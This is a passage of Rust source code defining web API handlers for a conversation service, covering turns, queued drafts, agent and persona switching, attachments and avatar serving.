8891 Ok(Json(serde_json::json!({
8892 "tasks": tasks, "task_progress": task_progress,
8893 "roster": roster, "personas": personas,
8894 "context": talk::context_usage(&talk, cfg.as_ref()),
8895 "context_for": talk.updated_at,
8896 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8897 "persona_name": persona_name,
8898 "persona_avatar": persona_avatar,
8899 })))
8900 })
8901 .await
8902}
8903
8904async fn talk_detail(
8906 State(ui): State<Arc<Ui>>,
8907 Path(id): Path<String>,
8908) -> ApiResult<Json<TalkDetailView>> {
8909 blocking(move || {
8910 let id = resolve_talk(&ui.talks, &id)?;
8911 let talk = ui.talks.get(&id)?;
8912 let thinking = ui.is_thinking_observed(&talk.id);
8913 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8914 let task_progress = talk_task_progress(&tasks);
8915 let tasks = tasks.into_iter().map(TaskView::from).collect();
8916 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8917 let roster = cfg
8918 .as_ref()
8919 .map(|cfg| {
8920 cfg.agents
8921 .iter()
8922 .map(|a| RosterEntry {
8923 id: a.id.clone(),
8924 kind: a.kind,
8925 runnable: agent::installed(a),
8926 })
8927 .collect()
8928 })
8929 .unwrap_or_default();
8930 let specs = cfg
8931 .as_ref()
8932 .map(|cfg| cfg.talk.personas.clone())
8933 .unwrap_or_default();
8934 let personas = persona::catalog(&specs)
8935 .into_iter()
8936 .map(|p| PersonaEntry {
8937 avatar: avatar_url(&ui.home, &talk.id, &p),
8938 id: p.id,
8939 name: p.name,
8940 })
8941 .collect();
8942 Ok(Json(TalkDetailView {
8943 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8944 tasks,
8945 task_progress,
8946 roster,
8947 personas,
8948 }))
8949 })
8950 .await
8951}
8952
8953#[derive(Debug, Default, Deserialize)]
8959#[serde(default, deny_unknown_fields)]
8960struct NewTalkTurn {
8961 reply_to: Option<talk::ReplyTarget>,
8962 text: String,
8963 attachments: Vec<String>,
8964}
8965
8966#[derive(Debug, Deserialize)]
8967#[serde(deny_unknown_fields)]
8968struct EditTalkPending {
8969 #[serde(default)]
8970 message: Option<usize>,
8971 text: String,
8972 expected_text: String,
8973 expected_attachments: Vec<String>,
8974}
8975
8976#[derive(Debug, Deserialize)]
8977#[serde(deny_unknown_fields)]
8978struct ClearTalkPending {
8979 expected_text: String,
8980 expected_attachments: Vec<String>,
8981}
8982
8983async fn talk_say(
8995 State(ui): State<Arc<Ui>>,
8996 Path(id): Path<String>,
8997 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8998) -> ApiResult<(StatusCode, Json<TalkView>)> {
8999 let admission = ui.begin_admission()?;
9000 admitted(admission, async move {
9001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9002 if body.text.trim().is_empty() && body.attachments.is_empty() {
9003 return Err(ApiError::bad_request("say something"));
9004 }
9005
9006 let id = {
9007 let ui = Arc::clone(&ui);
9008 let asked = id.clone();
9009 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9010 };
9011 {
9015 let ui = Arc::clone(&ui);
9016 let id = id.clone();
9017 blocking(move || {
9018 let talk = ui.talks.get(&id)?;
9019 if !talk.status.open() {
9020 return Err(ApiError::conflict(format!(
9021 "talk {} is {} and takes no more turns",
9022 talk.short(),
9023 talk.status.as_str()
9024 )));
9025 }
9026 Ok(())
9027 })
9028 .await?;
9029 }
9030
9031 let attachments = {
9036 let ui = Arc::clone(&ui);
9037 let id = id.clone();
9038 let ids = body.attachments.clone();
9039 blocking(move || {
9040 ids.into_iter()
9041 .map(|att_id| {
9042 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9043 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9044 })
9045 })
9046 .collect::<ApiResult<Vec<talk::Attachment>>>()
9047 })
9048 .await?
9049 };
9050 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9051 .await.map_err(ApiError::from)?;
9052
9053 let start = {
9058 let ui = Arc::clone(&ui);
9059 let id = id.clone();
9060 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9061 };
9062 let turn_guard = match start {
9063 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9064 TalkTurnStart::Pending => {
9065 return Err(ApiError::conflict(
9066 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9067 ));
9068 }
9069 TalkTurnStart::Foreign => {
9070 return Err(ApiError::conflict(
9071 "a turn is already running in another process; try again when it has finished",
9072 ));
9073 }
9074 TalkTurnStart::Busy => {
9075 let (tx, rx) = tokio::sync::oneshot::channel();
9091 tokio::spawn({
9092 let ui = Arc::clone(&ui);
9093 let id = id.clone();
9094 let said = body.text.clone();
9095 let reply_to = body.reply_to.clone();
9096 async move {
9097 let written = blocking({
9098 let ui = Arc::clone(&ui);
9099 let id = id.clone();
9100 move || {
9101 let mut talk = ui.talks.get(&id)?;
9102 #[cfg(test)]
9107 if let Some(gate) = ui
9108 .busy_queue_gate
9109 .lock()
9110 .unwrap_or_else(PoisonError::into_inner)
9111 .take()
9112 {
9113 let _ = gate.reached.send(());
9114 let _ = gate.release.recv();
9115 }
9116 if let Err(error) = talk::queue_reply(
9117 &mut talk,
9118 &ui.talks,
9119 &said,
9120 attachments,
9121 reply_to,
9122 ) {
9123 if let Ok(fresh) = ui.talks.get(&id) {
9124 if !fresh.status.open() {
9125 return Err(ApiError::conflict(format!(
9126 "talk {} is {} and takes no more turns",
9127 fresh.short(),
9128 fresh.status.as_str()
9129 )));
9130 }
9131 }
9132 return Err(
9133 if error.to_string().contains("invalid reply target") {
9134 ApiError::bad_request("invalid reply target")
9135 } else {
9136 ApiError::from(error)
9137 },
9138 );
9139 }
9140 let claim = match ui.begin_queued_talk_turn(&id)? {
9151 Some(turn_guard) => {
9152 let (cfg, _) = Config::discover(&talk.repo, None)?;
9153 Some((talk.clone(), cfg, turn_guard))
9154 }
9155 None => None,
9156 };
9157 let thinking = ui.is_thinking(&id);
9158 Ok((TalkView::new(talk, thinking, &ui), claim))
9159 }
9160 })
9161 .await;
9162 #[cfg(not(test))]
9163 {
9164 match written {
9165 Ok((view, reclaimed)) => {
9166 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9167 drop(reclaimed);
9168 match launched {
9169 Ok(_) => { let _ = tx.send(Ok(view)); }
9170 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9171 }
9172 }
9173 Err(error) => { let _ = tx.send(Err(error)); }
9174 }
9175 }
9176 #[cfg(test)]
9177 {
9178 let (view, reclaimed) = match written {
9179 Ok(pair) => pair,
9180 Err(e) => {
9181 let _ = tx.send(Err(e));
9186 return;
9187 }
9188 };
9189 let _ = tx.send(Ok(view));
9192 if let Some((talk, cfg, turn_guard)) = reclaimed {
9193 let talks = ui.talks.clone();
9194 drain_loop(talk, talks, cfg, id, turn_guard).await;
9195 }
9196 }
9197 }
9198 });
9199 let view = rx
9200 .await
9201 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9202 return Ok((StatusCode::ACCEPTED, Json(view)));
9203 }
9204 };
9205
9206 let (talk, cfg) = {
9207 let ui = Arc::clone(&ui);
9208 let id = id.clone();
9209 blocking(move || {
9210 let talk = ui.talks.get(&id)?;
9211 let (cfg, _) = Config::discover(&talk.repo, None)?;
9212 Ok((talk, cfg))
9213 })
9214 .await?
9215 };
9216
9217 let talks = ui.talks.clone();
9218 let (tx, rx) = tokio::sync::oneshot::channel();
9233 tokio::spawn({
9234 #[cfg(test)]
9235 let ui = Arc::clone(&ui);
9236 let talks = talks.clone();
9237 let id = id.clone();
9238 let said = body.text.clone();
9239 let reply_to = body.reply_to.clone();
9240 let mut talk = talk.clone();
9241 async move {
9242 let recorded = blocking({
9243 let talks = talks.clone();
9244 move || {
9245 if let Err(error) =
9246 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9247 {
9248 if let Ok(fresh) = talks.get(&talk.id) {
9249 if !fresh.status.open() {
9250 return Err(ApiError::conflict(format!(
9251 "talk {} is {} and takes no more turns",
9252 fresh.short(),
9253 fresh.status.as_str()
9254 )));
9255 }
9256 }
9257 return Err(if error.to_string().contains("invalid reply target") {
9258 ApiError::bad_request("invalid reply target")
9259 } else {
9260 ApiError::from(error)
9261 });
9262 }
9263 Ok((said.trim().to_owned(), talk))
9269 }
9270 })
9271 .await;
9272 let (text, talk) = match recorded {
9273 Ok(pair) => pair,
9274 Err(e) => {
9275 let _ = tx.send(Err(e));
9279 return;
9280 }
9281 };
9282 #[cfg(not(test))]
9283 {
9284 let _ = (&cfg, &text);
9285 let result = crate::consult::spawn_recorded_turn(
9289 &talks, &id, talk.turns.len() - 1,
9290 ).await;
9291 drop(turn_guard);
9292 match result {
9293 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9294 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9295 }
9296 }
9297 #[cfg(test)]
9298 {
9299 let queued = talk.clone();
9300 let mut talk = talk;
9301 let thinking = ui.is_thinking(&id);
9302 let _ = tx.send(Ok((queued, thinking)));
9305
9306 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9307 tracing::warn!("talk {id} turn failed: {e:#}");
9311 }
9312 drain_loop(talk, talks, cfg, id, turn_guard).await;
9315 }
9316 }
9317 });
9318
9319 let (queued, thinking) = rx
9320 .await
9321 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9322
9323 Ok((
9325 StatusCode::ACCEPTED,
9326 Json(TalkView::new(queued, thinking, &ui)),
9327 ))
9328 }).await
9329}
9330
9331async fn talk_pending_resume(
9335 State(ui): State<Arc<Ui>>,
9336 Path(id): Path<String>,
9337) -> ApiResult<(StatusCode, Json<TalkView>)> {
9338 let admission = ui.begin_admission()?;
9339 admitted(admission, async move {
9340 let id = {
9341 let ui = Arc::clone(&ui);
9342 let asked = id.clone();
9343 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9344 };
9345 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9346 .await
9347 .map_err(ApiError::from)?;
9348 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9349 return Err(ApiError::conflict(
9350 "a talk turn is already running; the queued draft will be handled by it",
9351 ));
9352 };
9353 let (talk, cfg) = {
9354 let ui = Arc::clone(&ui);
9355 let id = id.clone();
9356 blocking(move || {
9357 let talk = ui.talks.get(&id)?;
9358 if !talk.status.open() {
9359 return Err(ApiError::conflict(format!(
9360 "talk {} is {} and takes no more turns",
9361 talk.short(),
9362 talk.status.as_str()
9363 )));
9364 }
9365 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9366 return Err(ApiError::conflict("there is no queued draft to resume"));
9367 }
9368 let (cfg, _) = Config::discover(&talk.repo, None)?;
9369 Ok((talk, cfg))
9370 })
9371 .await?
9372 };
9373 let view = TalkView::new(talk.clone(), true, &ui);
9374 let talks = ui.talks.clone();
9375 #[cfg(not(test))]
9376 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9377 #[cfg(test)]
9378 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9379 Ok((StatusCode::ACCEPTED, Json(view)))
9380 })
9381 .await
9382}
9383
9384#[cfg(not(test))]
9387async fn detach_talk_turn(
9388 _talk: Talk,
9389 talks: Talks,
9390 _cfg: Config,
9391 id: String,
9392 turn: TalkTurnGuard,
9393) -> ApiResult<()> {
9394 let launched = crate::consult::spawn_turn(&talks, &id).await;
9395 drop(turn);
9396 launched.map(|_| ()).map_err(ApiError::from)
9397}
9398
9399#[cfg(test)]
9400async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9401 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9402}
9403
9404async fn settle_settings_turn(
9408 talk: Talk,
9409 talks: Talks,
9410 cfg: Config,
9411 id: String,
9412 turn: TalkTurnGuard,
9413 observed: u64,
9414) -> bool {
9415 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9416 let turns = Arc::clone(&turn.turns);
9417 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9418 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9419 turn.release(&mut live);
9421 return false;
9422 }
9423 }
9424 let (started, settled) = tokio::sync::oneshot::channel();
9425 tokio::spawn(drain_loop_started(
9426 talk,
9427 talks,
9428 cfg,
9429 id,
9430 turn,
9431 Some(started),
9432 ));
9433 settled.await.unwrap_or(false)
9434}
9435
9436#[cfg(not(test))]
9437async fn drain_loop_started(
9438 talk: Talk,
9439 talks: Talks,
9440 _cfg: Config,
9441 id: String,
9442 turn: TalkTurnGuard,
9443 started: Option<tokio::sync::oneshot::Sender<bool>>,
9444) {
9445 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9446 let running = if pending {
9447 match crate::consult::spawn_turn(&talks, &id).await {
9448 Ok(_) => true,
9449 Err(error) => {
9450 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9451 false
9452 }
9453 }
9454 } else {
9455 false
9456 };
9457 drop(turn);
9458 if let Some(started) = started {
9459 let _ = started.send(running);
9460 }
9461}
9462
9463#[cfg(test)]
9466async fn drain_loop_started(
9467 mut talk: Talk,
9468 talks: Talks,
9469 cfg: Config,
9470 id: String,
9471 turn: TalkTurnGuard,
9472 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9473) {
9474 let live_set = Arc::clone(&turn.turns);
9475 let mut turn = Some(turn);
9483 loop {
9484 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9485 tracing::warn!("talk {id} lost its turn lease; not draining further");
9488 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9489 if let Some(turn) = turn.take() {
9490 turn.release(&mut live);
9491 }
9492 break;
9493 }
9494 let observed = live_set
9498 .lock()
9499 .unwrap_or_else(PoisonError::into_inner)
9500 .queued
9501 .get(&id)
9502 .copied()
9503 .unwrap_or(0);
9504 let drained = blocking({
9505 let talks = talks.clone();
9506 move || {
9507 let result = talk::drain(&mut talk, &talks);
9508 Ok((talk, result))
9509 }
9510 })
9511 .await;
9512 let (next_talk, result) = match drained {
9513 Ok(drained) => drained,
9514 Err(e) => {
9515 tracing::warn!(
9516 status = %e.status,
9517 message = %e.message,
9518 "talk {id} could not start queued-text drain"
9519 );
9520 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9521 turn.take()
9522 .expect("held for the whole loop until released here")
9523 .release(&mut live);
9524 break;
9525 }
9526 };
9527 talk = next_talk;
9528 let drained = match result {
9529 Ok(Some(drained)) => drained,
9530 Ok(None) => {
9531 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9532 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9533 continue;
9534 }
9535 turn.take()
9536 .expect("held for the whole loop until released here")
9537 .release(&mut live);
9538 break;
9539 }
9540 Err(e) => {
9541 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9542 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9543 turn.take()
9544 .expect("held for the whole loop until released here")
9545 .release(&mut live);
9546 break;
9547 }
9548 };
9549 if let Some(started) = started.take() {
9550 let _ = started.send(true);
9551 }
9552 let responded = match turn.as_ref() {
9553 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9554 None => Err(anyhow::anyhow!("the turn guard was released")),
9555 };
9556 if let Err(e) = responded {
9557 tracing::warn!("talk {id} turn failed: {e:#}");
9558 }
9559 }
9560 drop(turn);
9561 if let Some(started) = started {
9562 let _ = started.send(false);
9563 }
9564}
9565
9566async fn talk_pending_clear(
9568 State(ui): State<Arc<Ui>>,
9569 Path(id): Path<String>,
9570 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9571) -> ApiResult<Json<TalkView>> {
9572 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9573 blocking(move || {
9574 let id = resolve_talk(&ui.talks, &id)?;
9575 let mut talk = ui.talks.get(&id)?;
9576 if !talk.status.open() {
9577 return Err(ApiError::conflict(format!(
9578 "talk {} is {} and takes no more turns",
9579 talk.short(),
9580 talk.status.as_str()
9581 )));
9582 }
9583 if !talk::clear_pending_if_matches(
9584 &mut talk,
9585 &ui.talks,
9586 &body.expected_text,
9587 &body.expected_attachments,
9588 )? {
9589 return Err(ApiError::conflict(
9590 "queued message changed; reload it before clearing",
9591 ));
9592 }
9593 let thinking = ui.is_thinking(&talk.id);
9594 Ok(Json(TalkView::new(talk, thinking, &ui)))
9595 })
9596 .await
9597}
9598
9599async fn talk_pending_edit(
9603 State(ui): State<Arc<Ui>>,
9604 Path(id): Path<String>,
9605 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9606) -> ApiResult<Json<TalkView>> {
9607 let admission = ui.begin_admission()?;
9608 admitted(admission, async move {
9609 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9610 let id = {
9611 let ui = Arc::clone(&ui);
9612 blocking(move || resolve_talk(&ui.talks, &id)).await?
9613 };
9614 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9615 .await
9616 .map_err(ApiError::from)?;
9617 let (view, reclaimed) = blocking({
9618 let ui = Arc::clone(&ui);
9619 move || {
9620 let mut talk = ui.talks.get(&id)?;
9621 if !talk.status.open() {
9622 return Err(ApiError::conflict(format!(
9623 "talk {} is {} and takes no more turns",
9624 talk.short(),
9625 talk.status.as_str()
9626 )));
9627 }
9628 if !talk::edit_pending_message(
9629 &mut talk,
9630 &ui.talks,
9631 &body.text,
9632 &body.expected_text,
9633 &body.expected_attachments,
9634 body.message,
9635 )? {
9636 return Err(ApiError::conflict(
9637 "queued message changed; reload it before editing",
9638 ));
9639 }
9640 let claim = match ui.begin_queued_talk_turn(&id)? {
9641 Some(turn_guard) => {
9642 let (cfg, _) = Config::discover(&talk.repo, None)?;
9643 Some((talk.clone(), cfg, id.clone(), turn_guard))
9644 }
9645 None => None,
9646 };
9647 let thinking = ui.is_thinking(&id);
9648 Ok((TalkView::new(talk, thinking, &ui), claim))
9649 }
9650 })
9651 .await?;
9652 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9653 let talks = ui.talks.clone();
9654 #[cfg(not(test))]
9655 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9656 #[cfg(test)]
9657 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9658 }
9659 Ok(Json(view))
9660 })
9661 .await
9662}
9663
9664fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9666 if talk.status.open() {
9667 return Ok(());
9668 }
9669 Err(ApiError::conflict(format!(
9670 "talk {} is {} and takes no more turns",
9671 talk.short(),
9672 talk.status.as_str()
9673 )))
9674}
9675
9676#[derive(Debug, Deserialize)]
9678struct TalkAgent {
9679 agent: String,
9680}
9681
9682async fn talk_agent(
9687 State(ui): State<Arc<Ui>>,
9688 Path(id): Path<String>,
9689 Json(body): Json<TalkAgent>,
9690) -> ApiResult<Json<TalkView>> {
9691 let admission = ui.begin_admission()?;
9692 admitted(admission, async move {
9693 let id = {
9694 let ui = Arc::clone(&ui);
9695 blocking(move || resolve_talk(&ui.talks, &id)).await?
9696 };
9697 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9698 .await
9699 .map_err(ApiError::from)?;
9700 let repo = {
9701 let ui = Arc::clone(&ui);
9702 let id = id.clone();
9703 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9704 };
9705 let cfg = config_for(&repo).await?;
9706 {
9708 let ui = Arc::clone(&ui);
9709 let id = id.clone();
9710 let cfg = cfg.clone();
9711 let wanted = body.agent.clone();
9712 blocking(move || {
9713 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9714 .map_err(ApiError::bad_request_from)?;
9715 refuse_if_closed(&ui.talks.get(&id)?)
9716 })
9717 .await?;
9718 }
9719 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9720 return Err(ApiError::conflict(
9721 "a talk turn is running; change the agent once it has answered",
9722 ));
9723 };
9724 let switched = {
9725 let ui = Arc::clone(&ui);
9726 let id = id.clone();
9727 let cfg = cfg.clone();
9728 blocking(move || {
9729 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9730 .map_err(ApiError::bad_request_from)?;
9731 let mut talk = ui.talks.get(&id)?;
9732 if !talk.status.open() {
9733 return Err(ApiError::conflict(format!(
9734 "talk {} is {} and takes no more turns",
9735 talk.short(),
9736 talk.status.as_str()
9737 )));
9738 }
9739 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9740 Ok(talk)
9741 })
9742 .await
9743 };
9744 let observed = ui.queued_generation(&id);
9749 let fresh = {
9750 let ui = Arc::clone(&ui);
9751 let id = id.clone();
9752 blocking(move || Ok(ui.talks.get(&id)?)).await
9753 };
9754 let draining = match fresh {
9755 Ok(talk) => {
9756 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9757 }
9758 Err(_) => false,
9759 };
9760 let talk = switched?;
9761 Ok(Json(TalkView::new(talk, draining, &ui)))
9762 })
9763 .await
9764}
9765
9766#[derive(Debug, Deserialize)]
9768struct TalkPersona {
9769 persona: String,
9770}
9771
9772async fn talk_persona(
9776 State(ui): State<Arc<Ui>>,
9777 Path(id): Path<String>,
9778 Json(body): Json<TalkPersona>,
9779) -> ApiResult<Json<TalkView>> {
9780 let admission = ui.begin_admission()?;
9781 admitted(admission, async move {
9782 let id = {
9783 let ui = Arc::clone(&ui);
9784 blocking(move || resolve_talk(&ui.talks, &id)).await?
9785 };
9786 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9787 .await
9788 .map_err(ApiError::from)?;
9789 let repo = {
9790 let ui = Arc::clone(&ui);
9791 let id = id.clone();
9792 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9793 };
9794 let cfg = config_for(&repo).await?;
9795 {
9797 let ui = Arc::clone(&ui);
9798 let id = id.clone();
9799 let cfg = cfg.clone();
9800 let wanted = body.persona.clone();
9801 blocking(move || {
9802 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9803 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9804 }
9805 refuse_if_closed(&ui.talks.get(&id)?)
9806 })
9807 .await?;
9808 }
9809 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9810 return Err(ApiError::conflict(
9811 "a talk turn is running; change the persona once it has answered",
9812 ));
9813 };
9814 let switched = {
9815 let ui = Arc::clone(&ui);
9816 let id = id.clone();
9817 let cfg = cfg.clone();
9818 blocking(move || {
9819 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9820 return Err(ApiError::bad_request(format!(
9821 "unknown persona `{}`",
9822 body.persona
9823 )));
9824 };
9825 let mut talk = ui.talks.get(&id)?;
9826 if !talk.status.open() {
9827 return Err(ApiError::conflict(format!(
9828 "talk {} is {} and takes no more turns",
9829 talk.short(),
9830 talk.status.as_str()
9831 )));
9832 }
9833 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9834 Ok(talk)
9835 })
9836 .await
9837 };
9838 let observed = ui.queued_generation(&id);
9840 let fresh = {
9841 let ui = Arc::clone(&ui);
9842 let id = id.clone();
9843 blocking(move || Ok(ui.talks.get(&id)?)).await
9844 };
9845 let draining = match fresh {
9846 Ok(talk) => {
9847 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9848 }
9849 Err(_) => false,
9850 };
9851 let talk = switched?;
9852 Ok(Json(TalkView::new(talk, draining, &ui)))
9853 })
9854 .await
9855}
9856
9857#[derive(Debug, Deserialize)]
9859struct TalkImplementers {
9860 implementers: u8,
9861}
9862
9863async fn talk_implementers(
9867 State(ui): State<Arc<Ui>>,
9868 Path(id): Path<String>,
9869 Json(body): Json<TalkImplementers>,
9870) -> ApiResult<Json<TalkView>> {
9871 let admission = ui.begin_admission()?;
9872 admitted(admission, async move {
9873 let id = {
9874 let ui = Arc::clone(&ui);
9875 blocking(move || resolve_talk(&ui.talks, &id)).await?
9876 };
9877 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9878 .await
9879 .map_err(ApiError::from)?;
9880 let repo = {
9881 let ui = Arc::clone(&ui);
9882 let id = id.clone();
9883 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9884 };
9885 let cfg = config_for(&repo).await?;
9886 {
9891 let ui = Arc::clone(&ui);
9892 let id = id.clone();
9893 let cfg = cfg.clone();
9894 let wanted = body.implementers;
9895 blocking(move || {
9896 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9897 refuse_if_closed(&ui.talks.get(&id)?)
9898 })
9899 .await?;
9900 }
9901 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9902 return Err(ApiError::conflict(
9903 "a talk turn is running; change the implementers once it has answered",
9904 ));
9905 };
9906 let switched = {
9907 let ui = Arc::clone(&ui);
9908 let id = id.clone();
9909 let cfg = cfg.clone();
9910 blocking(move || {
9911 let chosen = talk::check_implementers(body.implementers, &cfg)
9912 .map_err(ApiError::bad_request)?;
9913 let mut talk = ui.talks.get(&id)?;
9914 if !talk.status.open() {
9915 return Err(ApiError::conflict(format!(
9916 "talk {} is {} and takes no more turns",
9917 talk.short(),
9918 talk.status.as_str()
9919 )));
9920 }
9921 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9922 Ok(talk)
9923 })
9924 .await
9925 };
9926 let observed = ui.queued_generation(&id);
9928 let fresh = {
9929 let ui = Arc::clone(&ui);
9930 let id = id.clone();
9931 blocking(move || Ok(ui.talks.get(&id)?)).await
9932 };
9933 let draining = match fresh {
9934 Ok(talk) => {
9935 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9936 }
9937 Err(_) => false,
9938 };
9939 let talk = switched?;
9940 Ok(Json(TalkView::new(talk, draining, &ui)))
9941 })
9942 .await
9943}
9944
9945async fn talk_close(
9947 State(ui): State<Arc<Ui>>,
9948 Path(id): Path<String>,
9949) -> ApiResult<Json<TalkView>> {
9950 blocking(move || {
9951 let id = resolve_talk(&ui.talks, &id)?;
9952 let mut talk = ui.talks.get(&id)?;
9953 talk::close(&mut talk, &ui.talks)?;
9954 let thinking = ui.is_thinking(&talk.id);
9955 Ok(Json(TalkView::new(talk, thinking, &ui)))
9956 })
9957 .await
9958}
9959
9960async fn talk_reopen(
9962 State(ui): State<Arc<Ui>>,
9963 Path(id): Path<String>,
9964) -> ApiResult<Json<TalkView>> {
9965 blocking(move || {
9966 let id = resolve_talk(&ui.talks, &id)?;
9967 let mut talk = ui.talks.get(&id)?;
9968 talk::reopen(&mut talk, &ui.talks)?;
9969 let thinking = ui.is_thinking(&talk.id);
9970 Ok(Json(TalkView::new(talk, thinking, &ui)))
9971 })
9972 .await
9973}
9974
9975async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9985 blocking(move || {
9986 let id = resolve_talk(&ui.talks, &id)?;
9987 ui.talks.remove(&id)?;
9988 Ok(StatusCode::NO_CONTENT)
9989 })
9990 .await
9991}
9992
9993fn talk_ids(root: &FsPath) -> Vec<String> {
9994 std::fs::read_dir(root)
9995 .into_iter()
9996 .flatten()
9997 .flatten()
9998 .filter_map(|e| {
9999 let path = e.path();
10000 if path.extension().is_some_and(|ext| ext == "json") {
10001 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10002 } else {
10003 None
10004 }
10005 })
10006 .collect()
10007}
10008
10009fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10011 if plain_record_id(id) && store.path_of(id).is_file() {
10012 return Ok(id.to_owned());
10013 }
10014 pick(talk_ids(store.root()), id, "talk")
10015}
10016
10017async fn talk_attachment_post(
10020 State(ui): State<Arc<Ui>>,
10021 Path(id): Path<String>,
10022 headers: HeaderMap,
10023 body: Bytes,
10024) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10025 let mime = validate_attachment(&headers, &body)?;
10026 let name = filename_header(&headers);
10027 let data = body.to_vec();
10028 blocking(move || {
10029 let id = resolve_talk(&ui.talks, &id)?;
10030 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10031 Ok((StatusCode::CREATED, Json(att)))
10032 })
10033 .await
10034}
10035
10036async fn talk_attachment_get(
10039 State(ui): State<Arc<Ui>>,
10040 Path((id, att)): Path<(String, String)>,
10041) -> ApiResult<Response> {
10042 blocking(move || {
10043 let id = resolve_talk(&ui.talks, &id)?;
10044 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10045 return Err(ApiError::not_found(format!(
10046 "talk {id} has no attachment `{att}`"
10047 )));
10048 };
10049 Ok(attachment_response(&meta.mime, data))
10050 })
10051 .await
10052}
10053
10054fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10057 let id = avatar_encode(&p.id);
10058 format!(
10059 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10060 persona_icon::fingerprint(
10061 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10062 )
10063 )
10064}
10065
10066#[derive(Debug, Default, Deserialize)]
10067struct AvatarQuery {
10068 persona: Option<String>,
10069 builtin: Option<String>,
10071}
10072
10073const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10075
10076fn builtin_avatar(id: &str) -> Response {
10077 svg_avatar(persona_icon::builtin_svg(id))
10078}
10079
10080async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10081 raster_or_builtin(
10082 read_icon_file(&avatar_setting_path(&ui.home, None))
10083 .filter(|_| q.builtin.is_none())
10084 .as_deref(),
10085 persona_icon::operator_svg(),
10086 )
10087}
10088
